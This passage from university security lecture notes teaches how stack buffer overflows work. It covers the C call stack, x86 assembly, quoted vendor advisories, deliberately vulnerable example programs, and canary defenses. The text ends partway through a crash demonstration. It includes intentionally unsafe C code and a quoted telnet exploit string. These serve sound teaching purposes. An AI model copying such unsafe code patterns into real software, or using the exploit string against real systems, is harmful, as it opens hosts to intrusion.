Lecture 21: Buffer Overflow Attack

Lecture Notes on “Computer and Network Security”

by Avi Kak ([email protected])

April 2, 2020
3:15pm

c
2020 Avinash Kak, Purdue University

Goals:

• Services and ports

• A case study on buffer overflow vulnerabilities: The telnet service
• Buffer Overflow Attack: Understanding the call stack
• Overrunning the allocated memory in a call stack
• Demonstration of Program Misbehavior Because of Buffer Overflow
• Using gdb to craft program inputs for exploiting buffer-overflow
vulnerability
 CONTENTS

Section Title Page

21.1 Services and Ports 3

21.2 Why is the Buffer Overflow Problem 6

So Important in Computer and
Network Security

21.3 Some Security Bulletins Involving 9

Buffer Overflow

21.4 Buffer Overflow Attack: Understanding 14

the Call Stack

21.4.1 Buffer Overflow Attack: Overrunning the 27

Memory Allocated on the Call Stack

21.5 Demonstration of Program Misbehavior 34

Caused by Buffer Overflow

21.6 Using gdb to Craft Program Inputs for 38

Exploiting Buffer-Overflow Vulnerability

21.7 Using Buffer Overflow to Spawn a Shell 51

21.8 Buffer Overflow Defenses 65

21.9 Homework Problems 68

2
Computer and Network Security by Avi Kak Lecture 21

Back to TOC

21.1 Services and Ports

• Since buffer overflow attacks are typically targeted at specific

services running on certain designated ports, let’s start by
reviewing the service/port pairings for some of the standard
services in the internet.

• Every service on a machine is assigned a port. On a Unix/Linux

machine, the ports assigned to standard services are listed in
the file /etc/services. [The pathname to the same sort of a file in a Windows machine
is C:Windows\System32\Drivers\etc\services . If you want to reach this file through Cygwin, the

pathname is /cygdrive/c/windows/System32/drivers/etc/services] Here is a very small

sampling from this list from my Linux laptop:

# The latest IANA port assignments for network services can be obtained
# from:
# http://www.iana.org/assignments/port-numbers
#
# The Well Known Ports are those from 0 through 1023. The Registered
# Ports are those from 1024 through 49151. The Dynamic and/or Private
# Ports are those from 49152 through 65535

# Each line describes one service, and is of the form:

#
# service-name port/protocol [aliases ...] [# comment]

echo 7/tcp
echo 7/udp
daytime 13/tcp
daytime 13/udp

3
Computer and Network Security by Avi Kak Lecture 21

ftp-data 20/tcp
ftp 21/tcp
ssh 22/tcp # SSH Remote Login Protocol
telnet 23/tcp
smtp 25/tcp mail
time 37/tcp timserver
domain 53/udp
domain 53/tcp
tftp 69/tcp
finger 79/tcp
http 80/tcp www www-http # WorldWideWeb HTTP
kerberos 88/tcp kerberos5 krb5 # Kerberos v5
hostname 101/tcp hostnames # usually from sri-nic
pop3 110/tcp pop-3 # POP version 3
sunrpc 111/tcp portmapper # RPC 4.0 portmapper TCP
sunrpc 111/udp portmapper # RPC 4.0 portmapper UDP
auth 113/tcp authentication tap ident
auth 113/udp authentication tap ident
sftp 115/tcp
sftp 115/udp
uucp-path 117/tcp
nntp 119/tcp readnews untp # USENET News Transfer Protocol
ntp 123/tcp
netbios-ns 137/tcp # NETBIOS Name Service
imap2 143/tcp imap # Internet Mail Access Protocol
imap2 143/udp imap
ipp 631/tcp # Internet Printing Protocol
rsync 873/tcp # rsync
imaps 993/tcp # IMAP over SSL
pop3s 995/tcp # POP-3 over SSL
biff 512/udp comsat
login 513/tcp
who 513/udp whod
shell 514/tcp cmd # no passwords used
printer 515/tcp spooler # line printer spooler
printer 515/udp spooler # line printer spooler
talk 517/udp
router 520/udp route routed # RIP
uucp 540/tcp uucpd # uucp daemon
netstat 15/tcp # (was once asssigned, no more)
...
...
and many many more, see /etc/services for the complete list.

4
Computer and Network Security by Avi Kak Lecture 21

• It is important to note that when we talk about a network

service on a machine, it does not imply that the service is only
meant for human users in a network. In fact, many of the
services running on your computer are for the benefit of other
computers (and other devices such as printers, routers, etc.).

• A continuously running computer program that provides a

service to others in a network is frequently called a daemon
server or just daemon.

5
Computer and Network Security by Avi Kak Lecture 21

Back to TOC

21.2 WHY IS THE BUFFER OVERFLOW

PROBLEM SO IMPORTANT IN
COMPUTER AND NETWORK
SECURITY?

• Practically every worm that has been unleashed in the

Internet has exploited a buffer overflow vulnerability in some
networking software. The latest example of this is the
WannaCry ransomware that was big news in 2017 and 2018.
[See Section 22.8 of Lecture 22 for further information on how WannaCry works.]

• As the reference to the WannaCry malware in the above bullet

implies, the claim made in the opening sentence of the bullet is
just as true today as it was 20 years ago when the Morris worm
caused a major disruption of the internet. [See Lecture 22 on viruses
and worms.]

• Although modern compilers can inject additional code into the

executables for runtime checks for the conditions that cause
buffer overflow, the production version of the executables may
not incorporate such protection for performance reasons.
Additional constraints, such as those that apply to small
embedded systems, may call for particularly small executables,

6
Computer and Network Security by Avi Kak Lecture 21

meaning executables without the protection against buffer

overflow. [IMPORTANT: For some of the compilers out there,
the advertised built-in protection against stack corruption by
buffer overflow is mostly an illusion. See Section 21.6 of this
lecture.]

• Additionally, with billions of internet connected digital devices

now, there will always be many millions of such devices running
with unpatched software. [There are millions of computers around the world running
with pirated software that do not lend themselves to automatic patch updates.] Therefore, there

will always be hosts in the internet that will remain vulnerable

to buffer overflow exploits. Malware can be designed to spread
out from such buffer-overflow vulnerable hosts to other
ostensibly more secure hosts in a network if the latter have
trusted relationships with the former.

• Although this lecture focuses exclusively on buffer overflow

vulnerabilities and how they can be exploited, note that it is
also possible to have a buffer underflow vulnerability.

• A buffer underflow vulnerability occurs when two parts of the

same program treat the same allocated block of memory
differently. To illustrate, let’s say we allocate N bytes for a
string object in one part of the code and that in the same part
of the code we deposit a string of size n < N in the allocated
block of memory. In another part of the code, we believe that

7
Computer and Network Security by Avi Kak Lecture 21

we should be retrieving all N bytes for the object that is stored

there. It is likely what we get for the trailing N − n bytes could
be garbage bytes resulting from how the allocated memory was
used previously by the program (before it was freed and
re-allocated). In the worst case, those trailing bytes could
contain information (such as parts of a private key) that an
adversary might find useful.

8
Computer and Network Security by Avi Kak Lecture 21

Back to TOC

21.3 SOME SECURITY BULLETINS

INVOLVING BUFFER OVERFLOW

• Let’s first consider the telnet service in particular since it has

been the subject of a fairly large number of security problems.
[The Telnet protocol (through the command telnet) allows a user to
establish a terminal session on a remote machine for the purpose of
executing commands there. For example, if you wanted to log into, say,
moonshine.ecn.purdue.edu from your personal machine, you would use the
command ’telnet moonshine.ecn.purdue.edu’. For reasons of security,
remote terminal sessions are now created with the SSH command, as you
so well know.] [Although the telnet command is no longer used by
human users to gain terminal access at other hosts in a network, it is still
used for certain kinds of computer-to-computer exchanges across
networks.]

• From the port mappings listed in Section 21.1, a constantly

running telnetd daemon at a Telnet server monitors port 23
for incoming connection requests from Telnet clients. When a
client seeks a Telnet connection with a remote server, the client
runs a program called telnet that sends to the server machine
a socket number, which is a combination of the IP address of
the client machine together with the port number that the
client will use for communicating with the server. When the

9
Computer and Network Security by Avi Kak Lecture 21

server receives the client socket number, it acknowledges the

request by sending back to the client its own socket number.

• In what follows, let’s now look at a couple of the security

bulletins that have been issued with regard to the telnet service.
[These will be followed by a couple of security bulletins dealing with other types of buffer overflow
exploits.] On February 10, 2007, US-CERT (United States

Computer Emergency Readiness Team) issued the following

Vulnerability Note:

Vulnerability Note VU#881872

OVERVIEW: A vulnerability in the Sun Solaris telnet daemon (in.telnetd)

could allow a remote attacker to log on to the system with elevated
privileges.

Description: The Sun Solaris telnet daemon may accept authentication

information vis the USER environment variable. However, the
daemon does not properly sanitize this information before passing it
on to the login program and login makes unsafe assumptions about the
information. This may allow a remote attacker to trivially bypass the
telnet and login authentication mechanisms. .....

This vulnerability is being exploited by a worm .....

......
......

The problem occurs (supposedly because of the buffer overflow

attack) if you make a connection with the string
“telnet -l -froot”. (As a side note, US-CERT
(http://www.us-cert.gov/) was established in 2003 to protect the internet
infrastructure. It publishes Vulnerability Notes at
http://www.kb.cert.org/vuls/.) As mentioned in the Vulnerability
10
Computer and Network Security by Avi Kak Lecture 21

Note, there is at least one worm out there that can make use of
the exploit mentioned above to break into a remote host either
as an unprivileged or a privileged user and execute commands
with the privileges of that user.

• On December 31, 2004, CISCO issued the following security

advisory:
Cisco Security Advisory: Cisco Telnet Denial of Service Vulnerability

Document ID: 61671

Revision 2.4

Summary:

A specifically crafted TCP connection to a telnet or a reverse telnet

port of a Cisco device running Internetwork Operating System (IOS) may
block further telnet, reverse telnet, remote shell (RSH), secure shell
(SSH), and in some cases HTTP access to the Cisco device. Data Link
Switching (DLSw) and protocol translation connections may also be
affected. Telnet, reverse telnet, RSH, SSH, DLSw and protocol
translation sessions established prior to exploitation are not affected.
....
....
This vulnerability affects all Cisco devices that permit access via
telnet or reverse telnet.......
....
....
Telnet, RSH, and SSH are used for remote management of Cisco IOS devices.

• Here is a security bulletin from Ubuntu that was triggered by

the buffer overflow problem. If you are in the habit of
looking at the descriptions associated with the all-too-frequent
software updates to Ubuntu, you have surely noticed that
11
Computer and Network Security by Avi Kak Lecture 21

buffer-overflow continues to be a big problem as a source of

major security vulnerabilities.

April 9, 2010

Security upadates for the packages:

erlang-base
erlang-crypto
erlang-inets
erlang-mnesia
erlang-public-key
erlang-runtime-tools
erlang-ssl
erlang-syantax-tools
erlang-xmerl

Changes for the versions:

1:13.b.1-dfsg-2ubuntu1
1:13.b.1-dfsg-2ubuntu1.1

Version 1:13.b.1-dfsg-2ubuntu1.1:

* SECURITY UPDATE: denial of service via heap-based buffer overflow

in pcre compile.c in the Perl-Compatible Regular Expression (PCRE)
library (LP: #535090)

- CVE-2008-2371

- debian/patches/pcre-crash.patch is cherrypicked from

upstream commit
http://github.com/erlang/otp/commit/bb6370a2. The hunk
for the testsuite does not apply cleanly and is not
needed for the fix so was stripped. This fix is part
of the current upstream OTP release R13B04.

• The following security bulletin, rated critical by Microsoft and

dated March 14, 2017, concerns the vulnerability exploited by
the WannaCry ransomware that was much in the news in 2017.
12
Computer and Network Security by Avi Kak Lecture 21

Its variants continue to create problems in 2018. See Section

22.8 of Lecture 29 for further information regarding this worm.
Microsoft Security Bulletin MS17-010 - Critical

10/11/2017

Security Update for Microsoft Windows SMB Server (4013389)

Published: March 14, 2017

Version: 1.0
Executive Summary

This security update resolves vulnerabilities in Microsoft

Windows. The most severe of the vulnerabilities could allow
remote code execution if an attacker sends specially
crafted messages to a Microsoft Server Message Block 1.0
(SMBv1) server.

This security update is rated Critical for all supported

releases of Microsoft Windows. For more information, see
the Affected Software and Vulnerability Severity Ratings
section.

The security update addresses the vulnerabilities by

correcting how SMBv1 handles specially crafted requests.

For more information about the vulnerabilities, see the

Vulnerability Information section.

For more information about this update, see Microsoft

Knowledge Base Article 4013389. Affected Software and
Vulnerability Severity Ratings

The following software versions or editions are

affected. Versions or editions that are not listed are
either past their support life cycle or are not
affected. To determine the support life cycle for your
software version or edition, see Microsoft Support
Lifecycle.
...
...

13
Computer and Network Security by Avi Kak Lecture 21

Back to TOC

21.4 BUFFER OVERFLOW ATTACK:

UNDERSTANDING THE CALL STACK

• Let’s first look at the two different ways in which you can
allocate memory for a variable in a C program:
int data[100];

int* ptr = malloc( 100 * sizeof(int) );

The first declaration allocates memory on the stack at compile

time and the second declaration allocates memory on the heap
at run time. [Of course, with either declaration, you would be able to use array
indexing to access the individual elements of the array. So, data[3] and ptr[3] would

fetch the same value in both cases, assuming that the same array is stored in both

] As you surely know already, runtime memory allocation

cases.

is much more expensive than compile time memory allocation.

As to the relative costs, see Chapter 12 “Weak References for
Memory Management” of my book “Scripting with Objects”
published by John Wiley (2008). [Although C, C++, and Objective-C are the main
languages with buffer overflow vulnerabilities, they are foundational languages in the sense that much

software written in the so-called safe languages links to libraries written in C, C++, and Objective-C. So even

when you create an application in a safe language, if it calls on libraries written in C (a very common

occurrence), your application could still be vulnerable to buffer overflow. That is one of the main reasons for

why every application should be allowed to run with only the least privileges required for its execution. ]

14
Computer and Network Security by Avi Kak Lecture 21

• A buffer overflow occurs on the stack when information is

written into the memory allocated to a variable on a stack but
the size of this information exceeds what was
allocated at compile time.

• The same thing can happen in a heap. When the size of

information written out to a memory location exceeds the block
of memory allocated for the object at that location, the
overwrite in the adjoining memory locations can corrupt the
data there and, at the least, cause a bug in the execution of the
program. In general, though, since return addresses to
functions are not stored in heaps, it is more difficult to launch
exploits with heap overflows than with stack overflows. As you
will see in this lecture, a stack overflow can be used to overwrite
the location where the return address to a function is stored and
that can send the execution into a piece of malicious code.
[Regarding the phrase “return addresses to functions,” in contrast with what is typically
stored in a heap, in general a stack stores a sequence of stack frames, one for each function

that has not yet finished execution in a nested invocation of functions. Stored in each stack

frame is the address of the calling function to which the control must return after the called

function has finished running. ]

• The greater difficulty of launching exploits with heap overflows

does not diminish their importance from an overall security
standpoint. To underscore this fact, a mid-July 2015 update of
Google Chrome for Android included several patches to fix the
heap buffer overflow vulnerabilities in the software. You can get
15
Computer and Network Security by Avi Kak Lecture 21

more information on these vulnerabilities by googling

CVE-2015-1271, CVE-2015-1273, CVE-2015-1279, and CVE-2015-1283.

• Nonetheless, since a stack buffer overflow is far more likely to be

the cause of a security vulnerability than a heap overflow, the
rest of this section focuses exclusively on the former.

• In order to understand a stack bffer overflow attack, you must

first understand how a process uses its stack. What we mean by
a stack here is also referred to as a run-time stack, call
stack, control stack, execution stack, etc.

• When you run an executable, it is run in a process. Every

process is assigned a stack. [In processes that support multithreaded execution,
each thread gets a separate stack.] As the process executes the main
function of the program, it is likely to encounter local variables
and calls to functions. As it encounters each new local variable,
it is pushed into the stack, and as it encounters a function call,
it creates a new stackframe on the stack. [This operational logic works
recursively, in the sense that as local variables and nested function calls are encountered during the

execution of a function, the local variables are pushed into the stack and the function calls

encountered result in the creation of stack frames. ]

• I’ll now elaborate the notion of a stackframe with the help of

the simple C program shown below. My explanation related to
this example will use the notions of “Instruction Pointer,” “Base
16
Computer and Network Security by Avi Kak Lecture 21

Pointer,” “Stack Pointer,” etc. These concepts are defined more

precisely later in this section.

// ex0.c:
void my_func(int a, int b, int c) {
int x = 100;
}

void main() {
my_func(1,2,3);
}

Let’s now generate the assembler code file for this program by
gcc -m32 -S -o ex0.S ex0.c

where I have intentionally used the -m32 option to create a

32-bit assembler code file in order to make simpler the
explanation of the stack. [The “-S” option to the gcc command causes the compiler to
output the assembler code for the C file ex0.c. The “-o” option names the output file (which, in this case,

would be the default anyway. ]

[By the way, in general, you can execute 32-bit code in 64-bit Linux as
long as the needed 32-bit libraries can be found.] If you examine the section for

main in the assembler code file ex0.S, you are likely to see the
following commands in it: [Although the precise details regarding what the call stack
would look like depend on the machine architecture and the specific compiler used, the following is not an

unrealistic model for the assembly code generated by the gcc compiler for the x86 architectures: ]
pushl $3
pushl $2
pushl $1
call my_func

These stack actions call for the third argument to be pushed

into the stack, followed by the pushing of the second argument,
17
Computer and Network Security by Avi Kak Lecture 21

and, then, by the same action for the first argument.

Subsequently, there is the call to my func. This last action
pushes the current content of the Instruction Pointer (IP) into
the stack, where it becomes the “return address for the calling
function” in the stack frame for my func. The call to my func also
causes the current content of the Base Pointer to be pushed into
the stack — we will refer to this value as saved BP. [The reason for
saving the current content of the Base Pointer, which is the memory address of base of the calling stack

frame, is that when the current stackframe finishes execution, we must quickly restore the Base Pointer to the

] By the time, the flow of execution has

value for the calling stackframe.

processed the statement int x = 100 inside my func (and just

prior to returning from this function), the stack will look like

stack_ptr--> x |
saved_BP |
return-address to main | stack frame for my_func
a |
b |
c |

return address in the stackframe for main | stack frame for main

• The example that was presented above is an explanation for:

(1) Why the parameters of a called function appear below the
return address for the calling function; (2) The order in which
the parameters of the called function appear in its stackframe;
and (3) Why we need to store in the called stackframe the value
of the Base Pointer as it was during the time the execution was
in the calling stackframe. [If you are trying to map the assembler code in ex0.S to the
stack shown above, it’s interesting to note that in the six lines shown above for the stackframe for my func,

18
Computer and Network Security by Avi Kak Lecture 21

the bottom four are created by the assembler code in the main section of ex0.S. Just the top two lines are

produced by the code in the section for my func.]

• Let’s now consider the following slightly more elaborate C

program:
// ex1.c

#include <stdio.h>

int main() {
int x = foo( 10 );
printf( "the value of x = %d\n", x );
return 0;
}
int foo( int i ) {
int ii = i + i;
int iii = bar( ii );
int iiii = 2 * iii;
return iiii;
}
int bar( int j ) {
int jj = j + j;
return jj;
}

• Using the previous example as a guide, let’s now focus on what

is in the call stack for the process in which the program is being
executed at the moment when foo has just called called bar
and the statement ‘int jj = j+j’ of bar() has just been
executed.

stack_ptr--> jj |
saved_BP |

19
Computer and Network Security by Avi Kak Lecture 21

return-address to foo | stack frame for bar

j |

iii |
ii |
saved_BP | stack frame for foo
return-address to main |
i |

x | stack frame for main

return address in the stackframe for main |

Again note that the call stack consists of a sequence of

stackframes, one for each calling function that has not yet
finished execution, topped by the stackframe for the function
currently undergoing execution. In our case, main called foo
and foo called bar. The top stackframe is for the function that
just got called and that is currently being executed.

• The return address you see in each stackframe is the

memory address of the calling function. As was stated earlier
for the example ex0.c, as a new stackframe is being constructed
for the just called function, when goes into the “return address”
is the address of the calling function in the memory — which is
what would be held by the Instruction Pointer register at that
moment.

• The values stored in each stack frame above the location of the
return address are for those local variables that are still in scope
at the current moment. That is why the stack frame for foo

20
Computer and Network Security by Avi Kak Lecture 21

shows iii at the top, but not yet iiii, since the latter has not
yet been seen (when bar was called). Note that the parameters
in the header of a function are stored below the location of the
return address. You should already know the reason for that
from my explanation of the ex0.c example.

• As the compiler encounters each new variable, it issues an

instruction for pushing the value of the variable into the stack.
That is why the value of the variable jj is at the top of the
stack. Subsequently, as each variable goes out of scope, its value
is popped off the stack. In our simple example, when the thread
of execution reaches the right brace of the body of the definition
of bar, the variable jj would be popped off the stack and what
will be at the top will be pointer to the top of the stack frame
for the calling function foo.

• As I did earlier for for the case of ex0.c, how the stack is laid
out for ex1.c can be seen by generating the assembler code file
for that program by giving the ‘-S’ option to the gcc
command, as in
gcc -O0 -S ex1.c -o ex1.S

where the ‘-O0’ flag tells the compiler to use the optimization
level 0 so that the assembler code that is produced can be
comprehended by humans. [The different integer values associated with ‘-O’ are 0 for
optimization for compile time, 1 for optimization for code size and execution, 2 for further optimization for

code size and execution, and so on. Not specifying an integer is the same as using ‘1’. Also note that the

21
Computer and Network Security by Avi Kak Lecture 21

option ‘-O0’ is the default for calling gcc. So the above call produces the same output as the call ‘gcc -S

] You can also add the flag ‘-fverbose-asm’ to the

ex1.c -o ex1.S’

above command-line to see compiler generated comments in the

output so that you can better establish the relationship between
the assembler code and the source code. Shown below is a
section of the assembler output in the file ex1.S:

... ..... .....

... ..... .....
.globl bar
.type bar, @function
bar:
pushl %ebp
movl %esp, %ebp
movl 8(%ebp), %eax
addl %eax, %eax
popl %ebp
ret
.size bar, .-bar
.globl foo
.type foo, @function
foo:
pushl %ebp
movl %esp, %ebp
subl $4, %esp
movl 8(%ebp), %eax
addl %eax, %eax
movl %eax, (%esp)
call bar
leave
ret
.size foo, .-foo
...
...

• To see what the above assembler output says about the call
stack layout, note that the Intel x86 calling convention (which
22
Computer and Network Security by Avi Kak Lecture 21

refers to how a calling function passes parameters values to a

called function and how the former receives the returned value)
uses the following 32-bit registers for holding the pointers
described below [Here is a list of all 32-bit registers for x86 processors: esp for holding
the top address of the stack, ebp for holding the address of the base of a stackframe, eip used as
the instruction pointer, eax used as the accumulator, ebx used as a base pointer for memory access
(regarding the difference between ebp and ebx, the former can only be used for the within-stack
operations that are described later in this section), esi used for string and memory array copying,
ecx called the counter register and used as a loop counter, edi used as destination index register,
and edx used as a data register. For 64-bit x86 processors, the register names are the same

except that the first letter is always ’r’. The presentation in Section 21.8 on designing strings for

carrying out buffer overflow exploits is based on 64-bit x86. The discussion in that section uses the

register names rsp, rbp, etc.]:

Stack Pointer: The name of the register that holds this

pointer is esp for 32-bit processors and rsp for 64-bit
processors, the last two letters of the name standing for
“stack pointer”. This register always points to the top of the
process call stack.

Base Pointer: This pointer is also frequently called the

Frame Pointer. This register is denoted ebp for 32-bit
processors and rbp for 64-bit processors. The address in the
ebp register points to the base of the current stackframe.
By its very nature, this address stays fixed as long as the
flow of execution is in the current stackframe (as opposed to,
say, the constantly changing memory address pointed to by

23
Computer and Network Security by Avi Kak Lecture 21

the Stack Pointer). This allows for efficient memory

dereferencing for accessing the function call parameters and
the local variables in the function corresponding to the
current stack frame. Note that these parameters and
variables remain at fixed distances vis-a-vis the memory
address pointed to by the Base Pointer regardless of push
and pop operations on the stack.

Instruction Pointer: This register is denoted eip. This holds

the address of the next CPU instruction to be executed.

• Shown below is the annotated version for a portion of the

assembler output (shown earlier in this section) that illustrates
more clearly the construction of the call stack:

... ..... .....

... ..... .....
.global foo
.type foo, @function (directives useful for assembler/linker
begin with a dot)

foo:
pushl %ebp push the value stored in the register ebp
into the stack.

movl %esp, %ebp move the value in register esp to register ebp
(we are using the AT&T (gcc) syntax:
’op source dest’)

subl $4, %esp subtract decimal 4 from the value in esp register
(so stack ptr will now point to 4 locations
down, meaning in the direction in which
the stack grows as you push info into it)

movl 8(%ebp), %eax move to accumulator a value that is stored at

24
Computer and Network Security by Avi Kak Lecture 21

stack location decimal 8 + the memory address

stored in ebp (this moves local var i into
accumulator)

addl %eax, %eax i + i

movl %eax, (%esp) move the content of the accumulator into the
stack location pointed to by the content of the
esp register (this is where you would want to
store the value of the local variable ii that
then becomes the argument to bar)

call bar call bar

leave
.... ....
.... ....

• Note that by convention the stack grows downwards (which is

opposite from how a stack is shown pictorially) and that, as the
stack grows, the addresses go from high to low. So when you
push a 4-byte variable into the stack, the address to which the
stack pointer will point will be the previous value minus 4. This
should explain the sub instruction (for subtraction). The ‘l’
suffix on the instructions shown (as in pushl, movl, subl, etc.)
stands for ‘long’, meaning that they are 32-bit instructions. (By
the same token, the suffix ‘b’ stands for single byte instructions, and ‘w’
Considered without the
for ‘word’, meaning 16-bit instructions.)
suffixes, push, mov, sub, etc., are the instruction
mnemonics that constitute the x86 assembly language.
Other mnemonic instructions in this language include jmp for
unconditional jump, jne for jump on non-equality, je for jump
on equality, etc.

25
Computer and Network Security by Avi Kak Lecture 21

• Finally, here is a list of C functions vulnerable to buffer overflow:

gets
strcpy
strcat
sprintf
scanf
fscanf
vfscanf
vsprintf
vscanf
vsscanf
streadd
strecpy

Note that as I mentioned earlier at the beginning of Section

21.4, even if you are programming in a high-level language that
makes sure that when the code asks for an object to be stored
at a memory address, the size of the object does not exceed the
memory allocated for it at the compile time, it is entirely
possible that the language you are using is calling on libraries
written in, say, C, for creating the executable code. This opens
up the possibility that your executable could be exploited for
malware injection. [While normal code execution would invoke the safety protections made
available by your high-level language, what about the abnormal code execution triggered by some malware

causing an exception to be thrown? As to what happens next would depend on how the exception handling

code is written in your code. An apt analogy here would be to building a sturdy house over a weak

foundation. ]

26
Computer and Network Security by Avi Kak Lecture 21

Back to TOC

21.4.1 Buffer Overflow Attack:

Overrunning the Memory Allocated
on the Call Stack

• Next consider the following program in C:

// buffover.c

#include <stdio.h>

int foo(){
char ch; char buffer[5]; int i = 0;
printf("Say something: ");
while ((ch = getchar()) != ’\n’) buffer[i++] = ch;
buffer[i] = ’\0’;
printf("You said: %s\n", buffer);
return 0;
}

int main() {
foo();
}

This program asks a user to enter a message. Whatever the user

enters in a single line is accepted as the message and stored in
the array buffer of chars. [As the user enters keystrokes, the
corresponding characters are entered into the operating system’s keyboard buffer and
then, when the user hits the “Enter” key on the keyboard, the operating system
transfers the contents of the keyboard buffer into the stdin stream’s internal buffer.
The call to getchar() reads one character at a time from this buffer.]

27
Computer and Network Security by Avi Kak Lecture 21

• Let’s now see what the call stack would look like just before the
execution of the while loop in the program:

stack_ptr--> i (four bytes of memory)

buffer (five bytes of memory)
ch (one byte of memory)
saved_BP
return-address to the top of the calling stack frame

saved_BP
return address in the stackframe for main

For a more complete look at the call stack, you will have to
examine the file generated by
gcc -S -O buffover.c -o buffover.S

The assembler code in buffover.S shows more clearly how a

jump instruction is used to execute the while loop of the
source code. As the while loop is entering characters in the
memory allocated to the array variable buffer on the stack,
there is no mechanism in place for stopping when
the five bytes allocated to buffer are used up.

• What happens next depends entirely on the details of how the

stacks are implemented in a particular system and how the
memory is allocated. If the system has the notion of a memory
word consisting of, say, 32 bits and if stack memory is allocated
at word boundaries, then as you overrun the buffer in the above
program, the program will continue to function up to a point as
you enter longer and longer messages in response to the prompt.

28
Computer and Network Security by Avi Kak Lecture 21

• But at some point, the string you enter will begin to overwrite
the memory locations allocated to other variables on the stack
and also possibly the location where the return address of the
calling function is stored. When this happens, the program will
be aborted with a segmentation fault. Check it out for yourself
by compiling the program and executing it first with a short
input and then with a very long input.

• I’ll now devote the rest of this section to reviewing some of the
basic ideas that have been developed over the years for
protecting an executable against a buffer overflow attack. As it
turns out, none of the methods that are currently available are
completely foolproof — although they do make it more
challenging to mount a buffer overflow attack.

• The basic idea that is used in several buffer overflow

protection algorithms is a combination of rearrangement of
the local variables on the stack and the insertion of a special
variable, commonly called a canary, just below the stack
locations reserved for the local variables.

• To understand these basic ideas used for buffer overflow

protection, it is good to first become familiar with what are
known as the “prologue” and the “epilogue” code generators
that are implicitly associated with each function in a source
code library. For any given function, it is the job of the code

29
Computer and Network Security by Avi Kak Lecture 21

segment generated by the prologue to reserve memory for the

local variables on the call stack and it is the job of the code
generated by the epilogue to clean up the stack frame just
before the function is done and the flow of execution has
returned to the calling function.

• When stack protection is needed, the code generated by the

prologue also inserts a special location in the stackframe where
a guard value is stored. This location in a stackframe is
commonly called a canary and any change in the guard value
stored there taken as an attempt at buffer overflow
exploitation. To explain this point in greater detail, shown
below are two canaries, one in the stackframe for the function
foo() and the other in the stackframe for main. The first version
of StackGuard, a well known approach to buffer overflow
protection, used the guard value of 0x000aff0d which is a null
byte 0x00, followed by the newline character 0x0a, followed by
-1.

stack_ptr--> i (four bytes of memory)

buffer (five bytes of memory)
ch (one byte of memory)
saved_BP
canary
return-address to the top of the calling stack frame

saved_BP
canary
return address in the stackframe for main

Here is what is achieved by storing the value 0x000aff0d in the

30
Computer and Network Security by Avi Kak Lecture 21

canary: An attacker would not want to change the value of the

canary since the epilogue would detect that immediately and
cause the process to abort. So the attacker would have to create
an overflow string that incorporates the sequence of characters
0x000aff0d. But now the C library function strcpy() and gets()
for changing the return address would not work. That is
because strcpy() will not be able to get past the null byte in
the attacker’s overflow string and gets() won’t be able to get
past the newline character.

• Additional protection against buffer overflow exploits can be

created by a function prologue that also rearranges the local
variables the layout in a stackframe so that the scalar variables
are above the array variables in the stack, as shown below for
our example:

stack_ptr--> i (four bytes of memory)

ch (one byte of memory)
buffer (five bytes of memory)
saved_BP
canary
return-address to the top of the calling stack frame

saved_BP
canary
return address in the stackframe for main

Now any overflow in the memory allocated to the variable

buffer will not corrupt the scalar variables i and ch. Should
there be any overflow in the value being stored in buffer, it will
affect the canary. However, note that in the very simple
31
Computer and Network Security by Avi Kak Lecture 21

depiction shown above, the saved frame pointer saved BP would

still be vulnerable. However, by having the prologue code move
the the canary to a location immediately above saved frame
pointer saved BP, we could protect that also.

• What I have presented above are the most elementary ideas in

stack overflow protection. The reader might want to look up the
paper “Four Different Tricks to Bypass StackShield and StackGuard
Protection” by Gerardo Richarte that you can easily find by
Googling it for additional information. As the reader will find in
that publication, the canary string I mention above —
0x000aff0d — is known as the terminator canary. There are two
other kinds of canaries: Random Canaries, and Random XOR
Canaries. All three approaches have their pros and cons and
none is 100% foolproof. Additionally, they all extract a
performance penalty in code execution speed.

• With the gcc compiler, when an executable is created with the

flag “-fstack-protector”, the stack protection logic is only
applied to functions that allocate buffers larger than 8 bytes.
However, when the flag used during compilation is
“-fstack-protector-all”, it is applied to all functions in the
source code.

• Note that contrary to what is generally believed, the stock

version of the gcc compiler does not turn the stack protection

32
Computer and Network Security by Avi Kak Lecture 21

on by default. Some of the Linux distribution have taken it

upon themselves to ship with patched version of gcc so that by
default it provides stack protection. [There is some controversy about whether
that is a good thing or a bad thing. Stackoverflow.com has some discussion about this issue. Check it out.]

33
Computer and Network Security by Avi Kak Lecture 21

Back to TOC

21.5 DEMONSTRATION OF PROGRAM

MISBEHAVIOR
CAUSED BY BUFFER OVERFLOW

• I will now give a vivid demonstration of how a program may

continue to function but produce incorrect results because of
buffer overflow on the stack.

• Let’s consider the following variation on the program shown in

Section 21.4.1:
// buffover2.c

#include <stdio.h>
int foo();

int main() {
while(1) foo();
}

int foo(){
unsigned int yy = 0;
char buffer[5]; char ch; int i = 0;
printf("Say something: ");
while ((ch = getchar()) != ’\n’) buffer[i++] = ch;
buffer[i] = ’\0’;
printf("You said: %s\n", buffer);
printf("The variable yy: %d\n", yy);
return 0;
}

34
Computer and Network Security by Avi Kak Lecture 21

• The important difference here from the program

buffover.c in the previous section is that now we define a
new variable yy before allocating memory for the array
variable buffer. The other change here, placing the call to
foo() inside the infinite loop in main is just for convenience.
By setting up the program in this manner, you can experiment
with longer and longer input strings until you get a segfault and
the program crashes. [Note again that we have two while loops in the code,
one in main() so that you can experiment with longer and longer input strings, and
the other inside foo() for transferring the contents of stdin’s buffer into the memory
allocated (on the stack) to the array buffer one char at a time.]

• The stack frame for foo() just prior to the execution of its
while loop will look like:

stack_ptr--> i (four bytes of memory)

ch (one byte of memory)
buffer (five bytes of memory)
yy (four bytes)
saved_BP
return-address to the top of the calling stack frame

main

As you enter longer and longer messages in response to the

“Say something:” prompt, what gets written into the array
buffer would at some point overwrite the memory allocated to
the variable yy.

35
Computer and Network Security by Avi Kak Lecture 21

• So, whereas the program logic dictates that the value of the
local variable yy should always be 0, what you actually see may
depend on what string you entered in response to the prompt.
When I interact with the program on my Linux laptop, I see the
following behavior:
Say something: 0123456789012345678901234567
You said: 0123456789012345678901234567
The variable yy: 0 <----- correct

Say something: 01234567890123456789012345678

You said: 01234567890123456789012345678
The variable yy: 56 <------ ERROR

Say something: 012345678901234567890123456789

You said: 012345678901234567890123456789
The variable yy: 14648 <------ ERROR

Say something: 0123456789012345678901234567890

You said: 0123456789012345678901234567890
The variable yy: 3160376 <------ ERROR

Say something: 01234567890123456789012345678901

You said: 01234567890123456789012345678901
